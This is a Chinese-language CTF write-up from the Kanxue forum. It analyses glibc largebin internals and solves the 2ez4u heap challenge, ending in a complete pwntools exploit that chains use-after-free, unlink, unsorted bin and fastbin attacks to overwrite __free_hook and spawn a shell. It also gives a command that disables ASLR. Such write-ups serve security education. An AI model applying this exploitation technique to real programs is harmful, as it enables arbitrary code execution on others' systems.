一道pwn題目2e4zu的深入分析
本文為看雪論壇精華文章
看雪論壇作者ID:Nameless_a
largebin attack
這個玩意真的折磨,聽pwn說這個用的不多,不過可以通過學習它對unlink有一個更加深入的瞭解。
largebin 的插入管理機制
一開始學的時候,看各個部落格師傅的講解,大同小異但是都能看明白。各個師傅都有對libc裡面largebin插入操作的原始碼的分析。不過本人才疏學淺,一開始屬實都沒看懂,於是自己找原始碼看了看。現在同樣以註釋的方式記錄一下自己對原始碼(glibc 2.33)的分析。
if (in_largebin_range (size)) //判斷是否屬於largebin
{
victim_index = largebin_index (size); //尋找當前size在largebin中的
bck = bin_at (av, victim_index); //尋找main_arena
fwd = bck->fd;//size最大的chunk的地址
/* maintain large bins in sorted order */
if (fwd != bck) //如果表不為空
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size)
< (unsigned long) chunksize_nomask(bck->bk))//bck->bk是當前最小的chunk,如果size比它還小,那麼直接插入到表尾
{
fwd = bck;//感覺這個不符合我自己的編碼習慣,如果我寫我肯定fwd=bck->fd,也好理解一些
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
//總的來說,就是連結串列的插入操作
}
else//如果不是最小,那就由小到大找到第一個比它小的插在它的前面
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;//如果說是已經存在相同大小的chunk,就縱向插入
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))//這個檢查好像和unlink一樣,都是檢查fwd的指標有沒有被惡意修改
malloc_printerr ("malloc(): largebin double linked list corrupted (nextsize)");
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;//這裡的bck是用來縱向插入的
if (bck->fd != fwd)
malloc_printerr ("malloc(): largebin double linked list corrupted (bk)");//同樣是縱向檢查指標有沒有被惡意修改
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;//如果表為空,那麼指標自指
}
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//不管到底有沒有重複,都進行一次縱向連結,保證一些指標為NULL
其實可以理解為縱向連結和橫向連結。就是一個繩子上用鏈條(fd_nextsize和bk_nextsize)掛著大小不同的珠子,大小相同的珠子通過磁力(fd和bk指標)又掛在一起。這個就是largebin的插入管理機制。
關於對指標惡意修改的檢測,貌似只有2.29以後才有。
如何從largebin取出堆塊
這裡預設能夠從largebin中取出。
先找到相應的index,在index中從小到大遍歷堆塊,找到第一個比所需大小大(或等於)的堆塊。然後unlink,和其它的bins一樣,存在著對fd,bk,fd_nextsize以及bk_nextsize的檢測。
對取下的chunk如果大小不等於申請的size,那就存在著切割操作。如果剩餘大小大於MINSIZE。則返還給unsorted bin,否則一併給使用者。
largebin的利用手法
(1)申請偽造的堆塊來洩露堆地址(glibc2.23)
如果有兩個連續的chunk1,2。記憶體中地址的排布為chunk1位於高地址,如果我們能夠在chunk1中偽造一個chunk,並且能夠申請到它。那麼如果chunk2是位於雙向連結串列維護的bin中,就可以leak libc了。
那麼如何才能申請到偽造的堆塊呢?就要利用到largebin的分配機制了。
如果是通過在largebin裡取出一塊大小為size的chunk,系統會從size最小的chunk開始,通過bk_nextsize指標,不斷尋找第一塊size不小於所需size的chunk,然後分配給使用者。如果我們把bk_nextsize設定為fake_chunk,即可完成fake_chunk的呼叫。
不過沒這麼簡單,取下這個chunk要經過unlink,然而unlink存在對fd,bk,fd_nextsize,bk_nextsize指標的檢測,檢查p->fd->bk是否等於p等。
繞過p->fd-bk是否等於p這個和unsorted bin unlink差不多,都是找到一塊存fake_chunk的地址address,然後把fake_chunk的fd,bk指標分別置為address-0x18和address-0x10。
繞過p->fd_nextsize->bk_nexsize==p,則需要我們偽造一個堆塊,進行如上的連線。
有個小技巧,就是在取下fake_chunk的同時,我們可以把chunk2放入smallbin裡。做法就是先free chunk2,再通過add從largebin中取chunk,通過unsorted bin的大迴圈機制,放入smallbin就可洩露libc了。
如何關閉地址隨機化方便除錯
sudo su
echo 0 > /proc/sys/kernel/randomize_va_space
libc版本: libc2.23
思路
這題考察了 uaf,unlink,largebin attack,fastbin attack, unsortedbin attck ,還有smallbin的一些知識,屬於前期堆題技巧的一些彙總了(除了tcache沒涉及),所以很值得復現。
這題完全弄懂的話,前期的一些堆題的利用就沒啥問題了,可以開house of 系列了。所以有關這道題的題解我會認真去寫,儘可能的詳細,而且這道題博主本身也做了蠻久的,看網上有些師傅的wp都看了好久。
所以希望以這次復現為契機,好好的複習一下自己學過的堆塊的機制。
保護
習慣了。
ida
main
分別是add,delet,edit和show函式。
add
發現會形成如下結構體:
ymnh給的改結構體的 教程 http://blog.csdn.net/liujiayu2/article/details/77488078 ,不過大師傅從來不用所以俺就延續大師傅的肉眼除錯了。
這道題堆塊的放入也是折磨人的一個點,它是用一個bool指標給陣列上的位置打標記。所以delet之後的重新add的位置就可能亂覆蓋一些我們想保留的東西,我們只能在之前新增幾個類似替罪羊的東西。但是這樣又要考察我們的堆佈局的能力,而且是牽一髮動全身的那種。
struct apple{
int color;
int num;
int_64 value;
int index;
int_64 description;
}
delet
發現存在uaf漏洞(注意上面置為0的是在數組裡的標記,也就是前面add檢測該記憶體有沒有放過堆塊,之後的add有可能覆蓋這個記憶體上的堆塊地址,但是不會立馬清除),通過uaf我們能夠edit large chunk的bk_nextsize,實現largebin attack等。
show
注意這裡的description列印的是bk_nextsize,就不能用unsorted bin的fd或bk指標洩露libc了(但是ymnh試了試可以,據說是利用unsorted bin切割堆塊,但是俺還不會)。但是可以利用largebin洩露堆塊地址。
edit
和add差不大多所以就不提了
解題過程
堆佈局
這裡的堆佈局要注意幾個點:
(1)用largebin leak的堆的末尾地址不能為'\x00'否則會觸發截斷
(2)兩個地址連續的大堆塊放入unsorted bin會觸發合併
(3)delet的大堆塊不能和chunk_top相連否則會與之合併
(4)偽造的堆塊如果free,那麼必須滿足下下個堆塊的size的 preinsure==1(俺試出來的QAQ)
反正就是要不斷調整佈局,俺在leaklibc的過程中各種調整,每次調整都要改偽造的堆塊地址,簡直折磨。但這種東西你不可能一開始就想得很周到,只能做完了把exp改得漂亮一點,但這又有什麼意義呢。
洩露堆塊地址
利用largebin的bk_nextsize存放堆塊的機制,largechunk uaf洩露堆地址
洩露libc
通過偽造堆塊和fd,bk,fd_nextsize,bk_nextsize指標以及fake_chunk後面的堆塊的pre_size和size。反正核心就是繞過unlink的那幾個檢查。並且這幾個bin取堆塊基本上是通過bk或bk_nextsize指標。
值得注意的點是,讓#7與smallbin的main_arena相連應該在用padding覆蓋#2之後。因為這道題的read有一個'00'截斷,會影響puts的列印。
這裡還有一個unsorted bin大迴圈的機制,就是嘗試從unsorted bin中尋找堆塊失敗的話,會從fastbin中取出所有堆塊進入unsorted bin嘗試合併(只有地址連續的才能合併成功),未能合併的chunk會放入smallbin。利用small bin的雙鏈表機制洩露libc。
unsorted bin && fastbin attack
fastbin attack很好懂,主要是通過原來的堆塊往偽造的堆塊的fd指標寫值
unsorted bin attack 主要是破壞unsorted bin來實現bk指標指向的是free_hook上面的一段,從而能夠實現地址錯位繞過chunk的檢查。
exp
from pwn import *
from LibcSearcher import *
from pwnlib.util.iters import mbruteforce
from hashlib import sha256
import base64
context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
r=process('./2ez4u')
libc=ELF('./libc-2.23.so')
def z():
gdb.attach(r)
def cho(num):
r.sendlineafter("your choice: ",str(num))
def add(size,con):
cho(1)
r.recvuntil("color?(0:red, 1:green):")
r.sendline(str(0))
r.recvuntil("value?(0-999):")
r.sendline(str(0))
r.sendlineafter("num?(0-16):",str(0))
r.sendlineafter("description length?(1-1024):",str(size))
r.sendlineafter("description of the apple:",con)
def delet(idx):
cho(2)
r.sendlineafter("which?(0-15):",str(idx))
def edit(idx,con):
cho(3)
r.sendlineafter("which?(0-15):",str(idx))
r.recvuntil("color?(0:red, 1:green):")
r.sendline(str(0))
r.recvuntil("value?(0-999):")
r.sendline(str(0))
r.sendlineafter("num?(0-16):",str(0))
r.sendlineafter("description of the apple:",con)
def show(idx):
cho(4)
r.sendlineafter("which?(0-15):",str(idx))
add(0x60,'0'*0x60)#0
add(0x60,'1'*0x60)#1
add(0x60,'2'*0x60)#2
add(0x60,'3'*0x60)#3
add(0x60,'4'*0x60)#4
add(0x60,'5'*0x60)#5
add(0x3f0,'nameless')#6
add(0x60, '8'*0x60 )#7
add(0x3e0, '9'*0x1b0)#8
add(0x60, '9'*0x80 )#9
add(0x3f0, "nameless")#a
add(0x60-0x18, 'b'*0x30 )#b
add(0x60-0x18, 'c'*0x30 )#c
add(0x60-0x18, 'd'*0x30 )#d
##leak_heapadress
delet(0)
delet(8)
delet(0xa)
add(0x400,'nameless') #0
show(0xa)
r.recvuntil('description:')
heap=u64(r.recvuntil('\n',drop=True).ljust(8,'\x00'))-0x790
log.success('heap:'+hex(heap))
##leak_libc
fake_chunk=heap+0x130
chunk1=heap+0xc10 #10
chunk2=heap+0x1b0 #3
target=heap+0xb0
pd=p64(0)*2+p64(0x411)+p64(target-0x18)+p64(target-0x10)+p64(chunk1)+p64(chunk2)
edit(2,pd)
edit(0xa,p64(fake_chunk))
edit(1,p64(0)+p64(fake_chunk))
pd=p64(0)*2+p64(0x421)+p64(0)*2+p64(fake_chunk)
edit(3,pd)
edit(6,'6'*0x218+p64(0x410)+p64(0x411))
delet(5)
delet(3)
add(0x3f0,'3'*56)
add(0x60,'nameless')
show(3)
libcbase=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3a43a8-(libc.sym['__libc_start_main']+240)
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
log.success('libcbase:'+hex(libcbase))
log.success('system:'+hex(system))
##unsortedbin attack
delet(3)
pd=p64(0)*2+p64(0x411)+p64(0)+p64(free_hook-0x48)
edit(2,pd)
add(0x3f0,'nameless')
##fastbin attack
pd=p64(0)+p64(0)+p64(0x71)
edit(2,pd)
edit(3,0x50*'a'+p64(0x431))
delet(3)
pd=p64(0)*2+p64(0x71)+p64(free_hook-0x3b)
edit(2,pd)
add(0x50,'/bin/sh\x00')
add(0x50,0x13*'a'+p64(system))
pd=p64(0)+p64(0)+p64(0x71)+'/bin/sh\x00'
edit(2,pd)
delet(3)
r.interactive()
看雪ID:Nameless_a
http://bbs.pediy.com/user-home-943085.htm
*本文由看雪論壇 Nameless_a 原創,轉載請註明來自看雪社群
往期推薦
2. 反射式DLL注入實現
球分享
球點贊
球在看
點選“閱讀原文”,瞭解更多!
- 遊戲安全之借坡下驢
- CVE-2015-0057提權漏洞學習筆記
- Android Hook技術學習——常見的Hook技術方案總結
- 2022DASCTF MAY 出題人挑戰賽
- go語言模糊測試與oss-fuzz
- llvm NewPassManager API分析及適配方案
- Anti-token保護分析心得
- STM32韌體逆向
- 看雪2022 KCTF 春季賽 | 第12題設計思路及解析
- PWN入門-格式化字串漏洞
- 2016騰訊遊戲安全技術競賽題PC第一題
- 基於深度學習的惡意軟體分類器
- 看雪2022 KCTF 春季賽 | 第十題設計思路及解析
- Android APP漏洞之戰——除錯與反除錯詳解
- 看雪2022 KCTF 春季賽 | 第八題設計思路及解析
- 一道pwn題目2e4zu的深入分析
- 看雪2022 KCTF 春季賽 | 第七題設計思路及解析
- 看雪2022 KCTF 春季賽 | 第六題設計思路及解析
- CNVD-2018-01084 漏洞復現報告(service.cgi 遠端命令執行漏洞)
- 從零開始復現 DIR-815 棧溢位漏洞